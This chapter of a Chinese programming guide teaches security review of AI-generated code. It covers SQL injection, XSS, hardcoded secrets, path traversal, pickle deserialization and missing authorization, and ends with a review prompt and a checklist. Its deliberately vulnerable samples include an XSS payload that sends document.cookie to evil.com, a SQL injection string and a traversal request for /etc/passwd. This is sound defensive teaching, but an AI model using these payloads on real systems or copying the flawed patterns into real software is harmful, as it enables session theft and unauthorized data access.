AI 生成代码的安全审查——6类漏洞的识别与修复完全指南
第18章:AI 生成代码的安全审查——6类漏洞的识别与修复完全指南
AI 不是随机出错,它的安全漏洞有规律:训练数据里充斥着不安全的旧代码,AI 倾向于"最直接"的写法,而安全写法往往更复杂。本章用真实代码示例展示 6 类 AI 最常见安全漏洞,每类给出可运行的反例、正确修复、以及如何在 .cursorrules 里预防。附 20 条安全检查清单和一个完整的 AI 安全审查 Prompt。
本章学习目标: 能识别 AI 生成代码中 SQL 注入、XSS、密钥泄露、路径遍历、不安全反序列化、权限缺失 6 类漏洞;掌握每类漏洞的修复模式;拿到可以直接用的 AI 安全审查 Prompt 和 20 条检查清单。
为什么 AI 生成的代码有特定的安全问题
AI 的安全漏洞不是随机的,有三个根本原因:
- 训练数据偏差: Stack Overflow 和 GitHub 上的示例代码经常省略安全检查("先让它跑起来"),AI 学到了这些模式。
- 最直接写法偏好: AI 倾向于生成代码最短路径的实现,而安全写法(参数化查询、路径验证、权限检查)往往需要额外代码。
- 缺乏上下文理解: AI 不知道你的具体威胁模型,不知道某个变量来自用户输入还是内部系统,因此无法主动判断是否需要校验。
结论:AI 代码必须过安全 Review,尤其是处理用户输入、文件操作、数据库查询的部分。
漏洞1:SQL 注入(最常见,危害最大)
当你告诉 AI "查询 username 为 X 的用户",它大概率会给你字符串拼接的 SQL。
错误示例——字符串拼接 SQL(危险)
def get_user(username: str):
# AI 经常生成这种写法,看起来简洁,实则危险
query = f"SELECT * FROM users WHERE username = '{username}'"
return db.execute(query)
# 攻击者输入:' OR '1'='1
# 实际执行:SELECT * FROM users WHERE username = '' OR '1'='1'
# 结果:返回所有用户,绕过认证
正确修复——参数化查询
# 方法1:参数化查询(原生 DB-API)
def get_user(username: str):
query = "SELECT * FROM users WHERE username = :username"
return db.execute(query, {"username": username})
# 方法2:ORM(最推荐,自动处理转义)
def get_user(username: str, db: Session):
return db.query(User).filter(User.username == username).first()
# 方法3:需要动态列名时,用白名单而不是直接拼接
ALLOWED_COLUMNS = {"username", "email", "created_at"}
def get_user_by_field(field: str, value: str):
if field not in ALLOWED_COLUMNS:
raise ValueError(f"Invalid field: {field}")
query = f"SELECT * FROM users WHERE {field} = :value" # field 已白名单验证
return db.execute(query, {"value": value})
在 .cursorrules 里预防:
## 数据库安全(必须)
永远不要用字符串拼接构建 SQL 查询。
必须使用参数化查询或 ORM。
禁止:f"SELECT ... WHERE id = {user_id}"
必须:db.execute("SELECT ... WHERE id = ?", [user_id])
或:User.query.filter_by(id=user_id).first()
漏洞2:XSS(React 特有风险)
React 自动转义 JSX 中的文本内容,但 dangerouslySetInnerHTML 完全绕过这个保护。AI 为了"方便渲染富文本"经常用它,却不考虑输入来源。
错误示例——不安全的 HTML 渲染
// AI 生成的"方便"写法——如果 comment 来自用户输入就是 XSS
function UserComment({ comment }: { comment: string }) {
return <div dangerouslySetInnerHTML={{ __html: comment }} />;
}
// 攻击者输入:<script>fetch('https://evil.com/?c='+document.cookie)</script>
// 结果:用户 Cookie 被窃取
正确修复——文本渲染或 DOMPurify 净化
// 方法1:直接渲染文本(React 自动转义,90% 场景用这个)
function UserComment({ comment }: { comment: string }) {
return <div>{comment}</div>;
// <script> 会被渲染为文本而不是执行
}
// 方法2:必须渲染 HTML 时,先用 DOMPurify 净化
import DOMPurify from 'dompurify';
function RichComment({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
在 .cursorrules 里预防:
## XSS 防护(必须)
React 组件中禁止直接使用 dangerouslySetInnerHTML 渲染用户输入。
如果必须渲染富文本,必须先用 DOMPurify.sanitize() 净化,并注释说明数据来源。
漏洞3:硬编码密钥(推送到 GitHub 即失效)
AI 写"示例代码"时经常直接在代码里填入 API Key。你不仔细看就直接 commit,Key 被推到 GitHub,扫描机器人在几分钟内发现并尝试使用。
错误示例——硬编码密钥
import stripe
# AI 生成的示例代码,你一不小心就 commit 了
stripe.api_key = "sk_live_abc123xxxxxxxxxxxxxxxxxxxxxxxx"
JWT_SECRET = "mysecretkey123"
DATABASE_URL = "postgresql://admin:[email protected]/mydb"
正确修复——所有密钥从环境变量读取
import os
import stripe
from dotenv import load_dotenv
load_dotenv() # 从 .env 文件加载(.env 必须在 .gitignore 里)
# 用 [] 而不是 .get():密钥不存在时立即报错,不会静默失败
stripe.api_key = os.environ["STRIPE_SECRET_KEY"]
JWT_SECRET = os.environ["JWT_SECRET"]
DATABASE_URL = os.environ["DATABASE_URL"]
# 启动时检查所有必需密钥
REQUIRED_KEYS = ["STRIPE_SECRET_KEY", "JWT_SECRET", "DATABASE_URL"]
missing = [k for k in REQUIRED_KEYS if not os.environ.get(k)]
if missing:
raise EnvironmentError(f"Missing required env vars: {missing}")
自动检测——在 git pre-commit hook 里加扫描:
# 安装 gitleaks(比 git-secrets 更强大)
brew install gitleaks
# 手动扫描历史 commit
gitleaks detect --source . --log-opts="HEAD~50..HEAD"
漏洞4:路径遍历
AI 生成文件读取功能时,经常直接把用户输入拼接到文件路径里。攻击者用 ../../ 就能跳出预期目录,读取系统文件。
错误示例——直接拼接用户输入路径
from fastapi import FastAPI
app = FastAPI()
@app.get("/files/{filename}")
def read_file(filename: str):
# 危险:用户可以请求 /files/../../etc/passwd
path = f"/app/uploads/{filename}"
return open(path).read()
# 攻击:GET /files/../../etc/passwd
# 结果:读到 /etc/passwd
正确修复——路径规范化 + 边界检查
import re
from fastapi import FastAPI, HTTPException
from pathlib import Path
app = FastAPI()
BASE_DIR = Path("/app/uploads").resolve() # 规范化绝对路径
@app.get("/files/{filename}")
def read_file(filename: str):
# 第1步:白名单——只允许安全字符
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
raise HTTPException(status_code=400, detail="Invalid filename")
# 第2步:解析真实路径(resolve 会消除 ../ 等)
file_path = (BASE_DIR / filename).resolve()
# 第3步:确认真实路径在允许目录内
if not str(file_path).startswith(str(BASE_DIR)):
raise HTTPException(status_code=403, detail="Access denied")
if not file_path.exists():
raise HTTPException(status_code=404, detail="File not found")
return file_path.read_text()
漏洞5:不安全的反序列化
Python 的 pickle 在反序列化时可以执行任意 Python 代码。AI 在缓存场景里经常建议用它,但只要数据来源不可信(Redis 被攻击、网络传输),就是高危漏洞。
错误示例——pickle 处理外部数据
import pickle, redis
r = redis.Redis()
def load_session(session_id: str):
data = r.get(f"session:{session_id}")
# 高危:如果 Redis 被攻击者写入恶意 pickle,会执行任意代码
return pickle.loads(data) if data else None
正确修复——JSON + Pydantic 验证
import json, redis
from pydantic import BaseModel
class UserSession(BaseModel):
user_id: int
username: str
roles: list[str]
expires_at: str
r = redis.Redis()
def load_session(session_id: str) -> UserSession | None:
data = r.get(f"session:{session_id}")
if not data:
return None
# JSON 反序列化不能执行代码;Pydantic 验证字段类型
return UserSession.model_validate_json(data)
def save_session(session_id: str, session: UserSession, ttl: int = 3600):
r.setex(f"session:{session_id}", ttl, session.model_dump_json())
规则:永远不要用 pickle.loads() 处理来自网络、用户输入或外部存储的数据。 只在完全受控的内部数据上用 pickle(比如本地机器学习模型文件)。
漏洞6:权限检查缺失
AI 生成 API 端点时,经常只写功能逻辑,忘记权限检查。结果是任何登录用户都能访问所有用户的数据。
错误示例——缺少权限验证
from fastapi import FastAPI, Depends
app = FastAPI()
@app.get("/api/users/{user_id}/orders")
def get_user_orders(user_id: int, current_user=Depends(get_current_user)):
# 只验证了登录,没验证是否有权访问这个 user_id 的数据
return db.query(Order).filter(Order.user_id == user_id).all()
# 攻击:用自己的 token,把 user_id 改成别人的 ID,能看到所有人的订单
正确修复——检查当前用户只能访问自己的资源
from fastapi import FastAPI, Depends, HTTPException
app = FastAPI()
@app.get("/api/users/{user_id}/orders")
def get_user_orders(
user_id: int,
current_user: User = Depends(get_current_user)
):
# 权限检查:只能看自己的数据,管理员除外
if current_user.id != user_id and not current_user.is_admin:
raise HTTPException(status_code=403, detail="Access denied")
return db.query(Order).filter(Order.user_id == user_id).all()
# 更好的做法:直接用 current_user.id 查询,不依赖路径参数
@app.get("/api/my/orders")
def get_my_orders(current_user: User = Depends(get_current_user)):
# 用 current_user.id 而不是 URL 参数,根本不存在越权可能
return db.query(Order).filter(Order.user_id == current_user.id).all()
在 .cursorrules 里预防:
## 权限控制(必须)
每个 API 端点必须有权限检查。检查清单:
- 是否验证了用户已登录?
- 如果 URL 包含其他用户的 ID,是否验证了当前用户有权访问?
- 管理员操作是否单独验证了 is_admin?
优先使用"用当前用户 ID 查询"而不是"接受 URL 中的用户 ID"。
AI 安全审查 Prompt
把这个 Prompt 加入你的代码审查流程,在 Cursor Chat 里用 @文件引用配合使用:
你是安全工程师,审查以下代码的安全问题。
重点检查(按优先级):
1. 数据库查询:是否全部使用参数化查询?有没有字符串拼接 SQL?
2. 用户输入处理:所有来自用户的数据在使用前是否经过验证和转义?
3. 文件操作:路径是否经过规范化,且验证不超出允许目录?
4. 权限验证:每个需要权限的端点是否都有验证?是否存在越权访问风险?
5. 密钥管理:所有密钥是否从环境变量读取?有没有硬编码?
6. 反序列化:是否使用了 pickle/eval 处理外部数据?
只报告真实存在的问题。每个问题给出:
- 文件名和行号
- 漏洞类型
- 具体风险说明(用一句话描述攻击场景)
- 修复代码(可运行的正确写法)
@[要审查的文件]
20条 AI 代码安全检查清单
| # | 检查项 | 级别 |
|---|---|---|
| 1 | 所有 SQL 查询使用参数化查询或 ORM,无字符串拼接 | 必须 |
| 2 | 用户输入在使用前经过验证(Pydantic / Zod / 正则) | 必须 |
| 3 | 没有密钥、密码、token 硬编码在代码里(扫描 git log) | 必须 |
| 4 | 文件路径操作有规范化和边界检查,不能超出允许目录 | 必须 |
| 5 | 每个 API 端点有权限验证,不只是登录验证 | 必须 |
| 6 | 错误信息不暴露堆栈跟踪、数据库结构、内部 IP 等 | 必须 |
| 7 | 不使用 pickle/eval/exec 处理来自网络或用户的数据 | 必须 |
| 8 | 所有 API 通信强制 HTTPS,敏感数据不明文传输 | 必须 |
| 9 | 密码使用 bcrypt 或 argon2 哈希,不用 MD5/SHA1 | 必须 |
| 10 | JWT 签名算法和密钥验证正确,不允许 alg:none | 必须 |
| 11 | 生产环境关闭 debug 模式,关闭详细错误页面 | 必须 |
| 12 | API 有速率限制,防暴力破解和 DDoS | 建议 |
| 13 | 状态变更操作(POST/PUT/DELETE)有 CSRF Token 保护 | 建议 |
| 14 | 依赖包定期更新,CI 里跑 pip audit / npm audit | 建议 |
| 15 | 日志不记录密码、token、完整信用卡号等敏感信息 | 建议 |
| 16 | 上传文件验证类型(MIME + 扩展名),限制大小 | 建议 |
| 17 | 数据库连接使用最小权限账号,不用 root/superuser | 建议 |
| 18 | 敏感操作(删除、付款、改权限)有审计日志 | 建议 |
| 19 | 第三方 CDN 脚本使用 SRI(Subresource Integrity)校验 | 建议 |
| 20 | 定期做渗透测试,尤其是新功能上线前 | 建议 |
本章要点(全书收尾)
- AI 代码必须过安全 Review: AI 的安全漏洞有规律——SQL 注入、XSS、硬编码密钥是最高频的三类。把本章的检查清单贴到 PR 模板里,每次提交前对照检查一遍。
- 在 .cursorrules 里写安全规则是最高效的预防: 与其事后审查,不如让 AI 在生成代码时就遵守安全规范。禁止字符串拼接 SQL、禁止 dangerouslySetInnerHTML 用于用户输入、所有密钥从环境变量读取——这三条规则加进去,能消灭 80% 的 AI 安全问题。
- 路径遍历和权限检查是最容易被忽视的: SQL 注入现在大家都知道,但路径遍历(Path.resolve + 边界检查)和越权访问(URL 参数里的其他用户 ID)仍然频繁出现在 AI 生成的代码里。
- 用 gitleaks 做提交前扫描: 硬编码密钥一旦推送就可能已经泄露,本地扫描是最后一道防线。一个 pre-commit hook + gitleaks,5 分钟配好,能防止大量事故。
- AI 让写代码更快,也让犯错更快: 建立安全意识、制定团队规范、定期审查——这三件事做好,AI 才是真正的效率工具而不是隐患。全书 18 章读完,工具、技巧、流程都有了,接下来靠你在实际项目里实践和迭代。
全书完: 从第1章的"为什么是 AI 编程时代"到第18章的"AI 代码安全审查",这本书给了你从入门到生产部署所需的所有工具和方法。AI 编程领域还在快速演进——保持好奇、持续实践,是唯一能跟上的方法。